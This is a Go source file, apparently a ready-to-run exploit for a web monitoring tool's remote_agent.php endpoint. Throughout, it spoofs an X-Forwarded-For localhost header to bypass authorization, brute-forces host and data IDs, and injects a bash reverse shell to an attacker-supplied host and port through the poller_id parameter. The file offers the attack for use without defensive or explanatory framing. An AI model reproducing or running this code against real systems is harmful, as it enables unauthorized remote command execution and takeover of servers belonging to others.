package exploiter

import (
	"encoding/json"
	"fmt"
	"io"
	"net/http"
	"net/url"
	"strings"
)

func checkVuln(vulnUrl string) bool {
	client := &http.Client{}
	req, err := http.NewRequest("GET", vulnUrl, nil)
	if err != nil {
		fmt.Println("Error creating request:", err)
		return false
	}
	req.Header.Set("X-Forwarded-For", "127.0.0.1")
	resp, err := client.Do(req)
	if err != nil {
		fmt.Println("Error making request:", err)
		return false
	}
	defer resp.Body.Close()

	if resp.StatusCode == 403 {
		return false
	}

	// read the response body for vulnerability check
	buf := new(strings.Builder)
	_, err = io.Copy(buf, resp.Body)
	if err != nil {
		fmt.Println("Error reading response body:", err)
		return false
	}

	if buf.String() == "FATAL: You are not authorized to use this service" {
		return false
	}

	return true
}

func bruteForcing(vulnURL string) (bool, int, int) {
	for n := 1; n <= 4; n++ {
		for n2 := 1; n2 <= 9; n2++ {
			idVulnURL := fmt.Sprintf("%s?action=polldata&poller_id=1&host_id=%d&local_data_ids[]=%d", vulnURL, n, n2)
			client := &http.Client{}
			req, err := http.NewRequest("GET", idVulnURL, nil)
			if err != nil {
				fmt.Println("Error creating request:", err)
				return false, 1, 1
			}
			req.Header.Set("X-Forwarded-For", "127.0.0.1")
			resp, err := client.Do(req)
			if err != nil {
				fmt.Println("Error making request:", err)
				return false, 1, 1
			}
			defer resp.Body.Close()

			buf := new(strings.Builder)
			_, err = io.Copy(buf, resp.Body)
			if err != nil {
				fmt.Println("Error reading response body:", err)
				return false, 1, 1
			}

			// perse the json response
			var jsonResponse []map[string]interface{}
			err = json.Unmarshal([]byte(buf.String()), &jsonResponse)
			if err != nil {
				fmt.Println("Error unmarshalling JSON:", err)
				return false, 1, 1
			}

			// the response must have at least one item
			if len(jsonResponse) > 0 {
				// first item, and the rrd_name field
				rrdName, exists := jsonResponse[0]["rrd_name"].(string)
				if exists && (rrdName == "polling_time" || rrdName == "uptime") {
					fmt.Println("Bruteforce Success")
					return true, n, n2
				}
			}
		}
	}
	fmt.Println("Unknown error occurred")
	return false, 1, 1
}

func reverseShell(payload string, vulnUrl string, hostID int, dataIDs int) {
	payloadEncoded := url.QueryEscape(payload)
	injectRequest := fmt.Sprintf("%s?action=polldata&poller_id=;%s&host_id=%d&local_data_ids[]=%d", vulnUrl, payloadEncoded, hostID, dataIDs)
	client := &http.Client{}
	req, err := http.NewRequest("GET", injectRequest, nil)
	if err != nil {
		fmt.Println("Error creating request:", err)
		return
	}
	req.Header.Set("X-Forwarded-For", "127.0.0.1")
	resp, err := client.Do(req)
	if err != nil {
		fmt.Println("Error making request:", err)
		return
	}

	resp.Body.Close()
}

func Exploit(urlTarget string, lhost string, lport string) {
	vulnURL := urlTarget + "/remote_agent.php"
	fmt.Println("Checking for vulnerability...")
	if checkVuln(vulnURL) {
		fmt.Println("The target is vulnerable. Bruteforcing...")

		fmt.Println("Bruteforcing the host_id and local_data_ids")
		isVuln, hostID, dataIDs := bruteForcing(vulnURL)

		if isVuln {
			payload := fmt.Sprintf("bash -c 'bash -i >& /dev/tcp/%s/%s 0>&1'", lhost, lport)
			reverseShell(payload, vulnURL, hostID, dataIDs)
		} else {
			fmt.Println("The bruteforce failed...")
		}
	} else {
		fmt.Println("The target is not vulnerable")
	}
}
